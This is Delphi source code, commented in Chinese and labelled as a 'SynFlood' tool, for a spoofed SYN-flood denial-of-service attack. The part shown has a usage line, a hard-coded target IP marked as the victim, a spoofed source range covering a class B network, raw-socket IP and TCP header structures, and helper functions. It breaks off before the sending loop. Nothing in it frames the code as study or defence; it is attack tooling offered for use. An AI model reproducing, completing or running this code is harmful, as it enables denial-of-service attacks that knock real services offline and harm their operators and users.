D版SynFlood源码[1]

Usage: SynFlood -h:IP -p:port

program SynFlood;

{$APPTYPE CONSOLE}

uses Windows,
     Winsock;
     //WinSock2;

const
  IP_HDRINCL       = 2; // IP Header Include
  Header_SEQ       = $19026695;
  SEQ              = $28376839;
  SYN_DEST_IP      = '172.17.103.127'; //被攻击的IP
  FAKE_IP          = '10.168.150.1'; //伪装IP的起始值，本程序的伪装IP覆盖一个B类网段

//TCP头  20位
type
  TCP_HEADER   = record
  th_sport     : Word;  //16位源端口
  th_dport     : Word;  //16位目的端口
  th_seq       : DWORD; //32位序列号
  th_ack       : DWORD; //32位确认号
  th_lenres    : Byte;  //4位首部长度+6位保留字中的4位
  th_flag      : Byte;  //2位保留字+6位标志位 2是SYN，1是FIN，16是ACK探测
  th_win       : Word;  //16位窗口大小
  th_sum       : Word;  //16位校验和
  th_urp       : Word;  //16位紧急数据偏移量
end;

// IP 头    20位
type
  IP_HEADER      = record
  h_verlen       : Byte; //4位首部长度+4位IP版本号
  tos            : Byte; //8位服务类型TOS，定义了数据传输的优先级、延迟、吞吐量和可靠性等特性
  total_len      : Word; //16位总长度（字节） IP包的长度，若没有特殊选项，一般为20字节长
  ident          : Word; //16位IP包标识，主机使用它唯一确定每个发送的数据报
  frag_and_flags : Word; //Fragment Offset 13 IP数据分割偏移
  ttl            : Byte; //8位生存时间TTL，每通过一个路由器，该数值减一
  proto          : Byte;//8位协议号(TCP, UDP 或其他) 比如：ICMP为1，IGMP为2，TCP为6，UDP为17等
  checksum       : Word; //16位IP首部校验和
  sourceIP       : LongWord; //32位源IP地址
  destIP         : LongWord; //32位目的IP地址
end;

//TCP伪头   12位
type
  PSD_HEADER     = record
  saddr          : DWORD;  //源地址
  daddr          : DWORD;  //目的地址
  mbz            : Byte;   //置空
  ptcl           : Byte;   //协议类型
  tcpl           : WORD;   //TCP长度
end;

type
  CLIENTPARA = record
  Port:integer;
  IP:string;
end;

var
  clientpa :^CLIENTPARA;
  SendSEQ :Integer = 0;
  TimeOut :Integer =5000;

function WSASocketA(af, wType, protocol: integer;lpProtocolInfo: pointer;g,
dwFlags: dword): integer;stdcall;external 'ws2_32.dll';

function setsockopt( const s: TSocket; const level, optname: Integer; optval: PChar;
const optlen: Integer ): Integer; stdcall;external 'ws2_32.dll';

function IntToStr(I: integer): string;
begin
  Str(I, Result);
end;

function StrToInt(S: string): integer;
begin
  Val(S, Result, Result);
end;

function LowerCase(const S: string): string;
var
  Ch: Char;
  L: Integer;
  Source, Dest: PChar;
begin
  L := Length(S);
  SetLength(Result, L);
  Source := Pointer(S);
  Dest := Pointer(Result);
  while L <> 0 do
  begin
    Ch := Source^;
    if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32);
    Dest^ := Ch;
    Inc(Source);
    Inc(Dest);
    Dec(L);
  end;
end;